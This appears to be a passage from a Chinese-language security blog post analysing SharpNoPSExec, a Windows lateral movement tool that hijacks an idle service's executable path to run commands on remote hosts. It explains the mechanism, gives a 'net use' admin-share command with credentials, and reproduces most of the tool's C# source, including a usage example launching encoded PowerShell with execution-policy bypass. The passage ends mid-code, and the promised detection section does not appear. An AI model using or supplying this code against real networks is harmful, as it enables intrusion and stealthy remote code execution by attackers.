新型橫向移動工具原理分析、程式碼分析、優缺點以及檢測方案
阿新 • • 發佈:2021-07-19
新橫向移動工具:
Twitter上看到新的橫移工具,無需建立服務、無需檔案落地,遠比PsExec來的難以檢測,我們針對這一工具進行原理分析、程式碼分析、優缺點評估以及檢測方案:
- 工具名稱:SharpNoPSExec
- 工具作者:juliourena
- 下載地址:SharpNoPSExec
- 本人修改Python簡單版本的下載地址:PyNoPSExec
基本原理分析:
Windows服務中,每一服務都有一個可執行檔案路徑,這個地方可以替換成命令進行命令執行,而且這個可以遠端管理,當然這裡肯定需要管理員許可權,不然就成了RCE漏洞了。
我們可以遠端寫程式碼去尋找到一個處於不啟動、需要手動啟動,沒有其他依賴關係的服務,改變這個可執行檔案路徑,從而執行我們的命令。
程式碼分析:
先介紹一下幾個關鍵函式
OpenSCManagerW:
SC_HANDLE OpenSCManagerW(
LPCWSTR lpMachineName,
LPCWSTR lpDatabaseName,
DWORD dwDesiredAccess
);
小貼士:如果第一個引數填寫的是對端也就是橫移目標的IP地址或機器名,需要首先在執行程式以前建立一個管理員許可權,不僅僅需要知道賬號密碼,如何建立呢,答案也簡單,建立一個共享對映
net use \\xx.xx.xx.xx\admin$ "password" /user:username
然後呼叫兩個函式LogonUserA進行憑據認證,然後進行許可權模擬,還是呼叫我們的老朋友:ImpersonateLoggedOnUser。該函式允許使用者模擬其他使用者的許可權進行一些操作。
ChangeServiceConfig:
函式原型:
BOOL ChangeServiceConfigA(
SC_HANDLE hService,
DWORD dwServiceType,
DWORD dwStartType,
DWORD dwErrorControl,
LPCSTR lpBinaryPathName,
LPCSTR lpLoadOrderGroup,
LPDWORD lpdwTagId,
LPCSTR lpDependencies,
LPCSTR lpServiceStartName,
LPCSTR lpPassword,
LPCSTR lpDisplayName
);
當然需要先匯入函式:
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType,
int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup,
string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword,
string lpDisplayName);
修改舉例:
string payload = "notepad.exe";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,
null, null, null, null);
然後開啟服務
函式原型:
BOOL StartServiceA(
SC_HANDLE hService,
DWORD dwNumServiceArgs,
LPCSTR *lpServiceArgVectors
);
流程分析:
登入使用者 —–> 開啟遠端服務 —–> 設定服務執行程式為我們的 payload —–> 開啟服務
程式原始碼:
然後給出原始碼
using System;
using System.ComponentModel;
using System.Runtime.InteropServices;
using System.ServiceProcess;
using System.Threading;
namespace SharpNoPSExec
{
class ProgramOptions
{
/*引數類,主要就是用來獲取命令列引數*/
public string target;
public string username;
public string password;
public string payload;
public string service;
public string domain;
public ProgramOptions(string uTarget = "", string uPayload = "", string uUsername = "", string uPassword = "", string uService = "", string uDomain = ".")
{
target = uTarget;
username = uUsername;
password = uPassword;
payload = uPayload;
service = uService;
domain = uDomain;
}
}
class Program
{
[StructLayout(LayoutKind.Sequential)]
private struct QUERY_SERVICE_CONFIG
{
public uint serviceType;
public uint startType;
public uint errorControl;
public IntPtr binaryPathName;
public IntPtr loadOrderGroup;
public int tagID;
public IntPtr dependencies;
public IntPtr startName;
public IntPtr displayName;
}
public struct ServiceInfo
{
public uint serviceType;
public uint startType;
public uint errorControl;
public string binaryPathName;
public string loadOrderGroup;
public int tagID;
public string dependencies;
public string startName;
public string displayName;
public IntPtr serviceHandle;
}
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern Boolean ChangeServiceConfig(/*匯入關鍵函式,下面的匯入函式不在一一分析*/
IntPtr hService,
UInt32 nServiceType,
UInt32 nStartType,
UInt32 nErrorControl,
String lpBinaryPathName,
String lpLoadOrderGroup,
IntPtr lpdwTagId,
String lpDependencies,
String lpServiceStartName,
String lpPassword,
String lpDisplayName);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern IntPtr OpenService(
IntPtr hSCManager,
string lpServiceName,
uint dwDesiredAccess);
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]
public static extern IntPtr OpenSCManager(
string machineName,
string databaseName,
uint dwAccess);
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern Boolean QueryServiceConfig(
IntPtr hService,
IntPtr intPtrQueryConfig,
UInt32 cbBufSize,
out UInt32 pcbBytesNeeded);
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(
IntPtr hService,
int dwNumServiceArgs,
string[] lpServiceArgVectors);
[DllImport("advapi32.dll")]
public static extern bool LogonUserA(
string lpszUsername,
string lpszDomain,
string lpszPassword,
int dwLogonType,
int dwLogonProvider,
ref IntPtr phToken
);
[DllImport("advapi32.dll", SetLastError = true)]
static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
private const uint SERVICE_NO_CHANGE = 0xFFFFFFFF;
private const uint SERVICE_DEMAND_START = 0x00000003;
private const uint SERVICE_DISABLED = 0x00000004;
private const uint SC_MANAGER_ALL_ACCESS = 0xF003F;
enum LOGON_TYPE
{
LOGON32_LOGON_INTERACTIVE = 2,
LOGON32_LOGON_NETWORK = 3,
LOGON32_LOGON_BATCH = 4,
LOGON32_LOGON_SERVICE = 5,
LOGON32_LOGON_UNLOCK = 7,
LOGON32_LOGON_NETWORK_CLEARTEXT = 8,
LOGON32_LOGON_NEW_CREDENTIALS = 9
}
public enum LOGON_PROVIDER
{
/// <summary>
/// Use the standard logon provider for the system.
/// The default security provider is negotiate, unless you pass NULL for the domain name and the user name
/// is not in UPN format. In this case, the default provider is NTLM.
/// NOTE: Windows 2000/NT: The default security provider is NTLM.
/// </summary>
LOGON32_PROVIDER_DEFAULT = 0,
LOGON32_PROVIDER_WINNT35 = 1,
LOGON32_PROVIDER_WINNT40 = 2,
LOGON32_PROVIDER_WINNT50 = 3
}
public static ServiceInfo GetServiceInfo(string ServiceName, IntPtr SCMHandle)
{
/*定義一個服務資訊查詢函式,用來查詢服務的基本狀態,方便進行篩選和事後恢復*/
Console.WriteLine($" |-> Querying service {ServiceName}");
ServiceInfo serviceInfo = new ServiceInfo();
try
{
IntPtr serviceHandle = OpenService(SCMHandle, ServiceName, 0xF01FF);
uint bytesNeeded = 0;
QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();
IntPtr qscPtr = IntPtr.Zero;
bool retCode = QueryServiceConfig(serviceHandle, qscPtr, 0, out bytesNeeded);
if (!retCode && bytesNeeded == 0)
{
throw new Win32Exception();
}
else
{
qscPtr = Marshal.AllocCoTaskMem((int)bytesNeeded);
retCode = QueryServiceConfig(serviceHandle, qscPtr, bytesNeeded, out bytesNeeded);
if (!retCode)
{
throw new Win32Exception();
}
qsc.binaryPathName = IntPtr.Zero;
qsc.dependencies = IntPtr.Zero;
qsc.displayName = IntPtr.Zero;
qsc.loadOrderGroup = IntPtr.Zero;
qsc.startName = IntPtr.Zero;
qsc = (QUERY_SERVICE_CONFIG)Marshal.PtrToStructure(qscPtr, typeof(QUERY_SERVICE_CONFIG));
}
serviceInfo.binaryPathName = Marshal.PtrToStringAuto(qsc.binaryPathName);
serviceInfo.dependencies = Marshal.PtrToStringAuto(qsc.dependencies);
serviceInfo.displayName = Marshal.PtrToStringAuto(qsc.displayName);
serviceInfo.loadOrderGroup = Marshal.PtrToStringAuto(qsc.loadOrderGroup);
serviceInfo.startName = Marshal.PtrToStringAuto(qsc.startName);
serviceInfo.errorControl = qsc.errorControl;
serviceInfo.serviceType = qsc.serviceType;
serviceInfo.startType = qsc.startType;
serviceInfo.tagID = qsc.tagID;
serviceInfo.serviceHandle = serviceHandle; // Return service handler
Marshal.FreeHGlobal(qscPtr);
}
catch (Exception)
{
string errorMessage = new Win32Exception(Marshal.GetLastWin32Error()).Message;
Console.WriteLine("\n[!] GetServiceInfo failed. Error: {0}", errorMessage);
Environment.Exit(0);
}
return serviceInfo;
}
public static void PrintBanner()
{
Console.WriteLine(@"
███████╗██╗ ██╗ █████╗ ██████╗ ██████╗ ███╗ ██╗ ██████╗ ██████╗ ███████╗███████╗██╗ ██╗███████╗ ██████╗
██╔════╝██║ ██║██╔══██╗██╔══██╗██╔══██╗████╗ ██║██╔═══██╗██╔══██╗██╔════╝██╔════╝╚██╗██╔╝██╔════╝██╔════╝
███████╗███████║███████║██████╔╝██████╔╝██╔██╗ ██║██║ ██║██████╔╝███████╗█████╗ ╚███╔╝ █████╗ ██║
╚════██║██╔══██║██╔══██║██╔══██╗██╔═══╝ ██║╚██╗██║██║ ██║██╔═══╝ ╚════██║██╔══╝ ██╔██╗ ██╔══╝ ██║
███████║██║ ██║██║ ██║██║ ██║██║ ██║ ╚████║╚██████╔╝██║ ███████║███████╗██╔╝ ██╗███████╗╚██████╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝
Version: 0.0.2
Author: Julio Ureña (PlainText)
Twitter: @juliourena
");
}
public static void PrintHelp()
{
Console.WriteLine(@"Usage:
SharpNoPSExec.exe --target=192.168.56.128 --payload=""c:\windows\system32\cmd.exe /c powershell -exec bypass -nop -e ZQBjAGgAbwAgAEcAbwBkACAAQgBsAGUAcwBzACAAWQBvAHUAIQA=""
Required Arguments:
--target= - IP or machine name to attack.
--payload= - Payload to execute in the target machine.
Optional Arguments:
--username= - Username to authenticate to the remote computer.
--password= - Username's password.
--domain= - Domain Name, if no set a dot (.) will be used instead.
--service= - Service to modify to execute the payload, after the payload is completed the service will be restored.
Note: If not service is specified the program will look for a random service to execute.
Note: If the selected service has a non-system account this will be ignored.
--help - Print help information.
");
}
static void Main(string[] args)
{
/*主函式開始*/
// example from https://github.com/s0lst1c3/SharpFinder
ProgramOptions options = new ProgramOptions();
foreach (string arg in args)//遍歷引數
{